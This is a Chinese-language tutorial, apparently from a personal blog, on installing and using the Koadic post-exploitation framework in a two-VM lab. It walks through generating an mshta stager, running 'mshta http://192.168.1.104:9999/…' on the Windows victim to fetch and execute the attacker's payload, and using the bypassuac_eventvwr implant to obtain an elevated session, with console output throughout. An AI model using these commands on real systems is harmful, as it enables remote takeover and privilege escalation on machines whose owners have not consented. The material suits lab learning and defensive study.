Koadic的安装和使用

概述

Koadic是DEFCON分型出来的一个后渗透工具，主要通过vbscript、jscript进行大部分操作

环境准备

我准备的是两台虚拟机一台kali就是攻击机器
一台windows7 64位就是受害者了

安装

安装很简单

git clone https://github.com/zerosum0x0/koadic.git

之后安装依赖

cd koadic/
pip install -r requirements.txt

使用

运行

./koadic

                            .
                           / \
     _                   _ | |
    | | _____   __ _  __| || |  ___
    | |/ / _ \ / _` |/ _` ||.| / __|
    |   / (o) | (_| | (_| ||.|| (__
    |_|\_\_^_/ \__,_|\__,_||:| \___|

            ~[ Version:  0x8 ]~
            ~[ Stagers:     ]~
            ~[ Implants:   ]~

(koadic: sta/js/mshta)# 

首先我们得知道这个工具的几个概念

• Stagers 就是在你攻击的机器上生成的payload的种类
• Implants 就是当你控制机器后可以进行的操作

具体Stagers和Implants你可以看它的github页面
https://github.com/zerosum0x0/koadic

接着我们执行

use stager/js/mshta

就是使用mshta这个stager
之后设置本机的端口和ip，进行本地监听
你可以输入info命令来查看要设置的参数

set LHOST 192.168.1.104
set LPORT 

接着运行

run
(koadic: sta/js/mshta)# run
[+] Spawned a stager at http://192.168.1.104:9999/BYhBU
[>] mshta http://192.168.1.104:9999/BYhBU

因为是后渗透工具，所以不管怎么说你肯定能在你控制的电脑上执行一条命令

在受害者机器上执行

mshta http://192.168.1.104:9999/BYhBU

我的话直接打开一个cmd执行就好了
接着会有一个python字符的坑，会出现下面这个错

(koadic: sta/js/mshta)# ----------------------------------------
Exception happened during processing of request from ('192.168.1.110', )

    data = data.decode().split("~~~")
UnicodeDecodeError: 'ascii' codec can't decode byte 0xe4 in position 65: ordinal not in range(128)
----------------------------------------
[!] Zombie : Timed out.

就是下面这个错误

UnicodeDecodeError: 'ascii' codec can't decode byte 0xe4 in position 65: ordinal not in range(128)

你只要把字符编码换成utf-8就好了

怎么做呢看下面
首先退出程序
打开下面这个文件

vim koadic

添加上

import sys
reload(sys)
sys.setdefaultencoding('utf-8')

总的文件是下面这个样子的

#!/usr/bin/env python

import sys
reload(sys)
sys.setdefaultencoding('utf-8')

__version_info__ = (, )
__version__ = "x".join(map(str, __version_info__))
__license__ = "Apache 2.0"
__credits__ = ["zerosum0x0", "jmage", "TheNaterz", "aleph-naught-"]

if __name__ == "__main__":
    import core.shell

    banner = open("data/banner.txt", "rb").read().decode("unicode_escape")

    shell = core.shell.Shell(banner, __version__)
    shell.run()

之后重新进行上面的操作就不会报错了

                            .

之后我们进行权限提升也就是uac bypass

输入zombies来查看我们控制的机器

(koadic: sta/js/mshta)# zombies 

    ID   IP              STATUS  LAST SEEN
    ---  ---------       ------- ------------
        192.168.1.110   Alive   -- ::

Use "zombies ID" for detailed information about a session.

输入zombies 0可以查看这台机器的详细信息

(koadic: sta/js/mshta)# zombies 

    ID:
    Status:                 Alive
    Last Seen:              -- ::             

    IP:                     192.168.1.110
    User:                   WIN-HK90RUM6L1B\bboysoul
    Hostname:               WIN-HK90RUM6L1B

    OSArch:                 -bit
    Elevated:               No

    JOB  NAME                            STATUS  ERRNO
    ---- ---------                       ------- ------- 

可以看到Elevated这里显示no表示我们没有进行提权
输入

use implant/elevate/bypassuac_eventvwr

查看一下这个模块的信息

(koadic: imp/ele/bypassuac_eventvwr)# info

    NAME        VALUE           REQ     DESCRIPTION
    -----       ------------    ----    -------------
    PAYLOAD                     yes     run payloads for a list
    ZOMBIE      ALL             yes     the zombie to target

这里我们把payload和zombie设置为0，就是表示payload为0不使用，zombie的编号为0
接着run就好了

(koadic: imp/ele/bypassuac_eventvwr)# run
[*] Zombie : Job  (implant/elevate/bypassuac_eventvwr) created.
[+] Zombie : Job  (implant/elevate/bypassuac_eventvwr) completed.
[+] Zombie : Staging new connection (192.168.1.110)
[+] Zombie : WIN-HK90RUM6L1B\bboysoul* @ WIN-HK90RUM6L1B -- Microsoft Windows  专业版 

成功
但是注意的是程序新建立了一个链接来bypass所以原来那个zombie连接虽然存在但是还是没有进行提权的用户，新建的那个连接才是进行提权过的用户，不信输入zombie看一下是不是多出了一个链接

(koadic: imp/ele/bypassuac_eventvwr)# zombies 

    ID   IP              STATUS  LAST SEEN
    ---  ---------       ------- ------------

    *   192.168.1.110   Alive   -- ::

看一下zombie 1的信息

(koadic: imp/ele/bypassuac_eventvwr)# zombies 

    ID:
    Status:                 Alive
    Last Seen:              -- ::             

    IP:                     192.168.1.110
    User:                   WIN-HK90RUM6L1B\bboysoul*
    Hostname:               WIN-HK90RUM6L1B
    Primary DC:             Unknown
    OS:                     Microsoft Windows  专业版
    OSArch:                 -bit
    Elevated:               YES!                            

    User Agent:             Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.; SLCC2; .NET CLR 3.5.; .NET CLR 3.0.; Media Center PC 6.0)
    Session Key:            c42dec18786a47f2bc4ee023dc8f69bd

    JOB  NAME                            STATUS  ERRNO
    ---- ---------                       ------- ------- 

是提权成功的
提权成功之后的机器我们可以使用implant里所有的模块，具体的模块自己研究吧
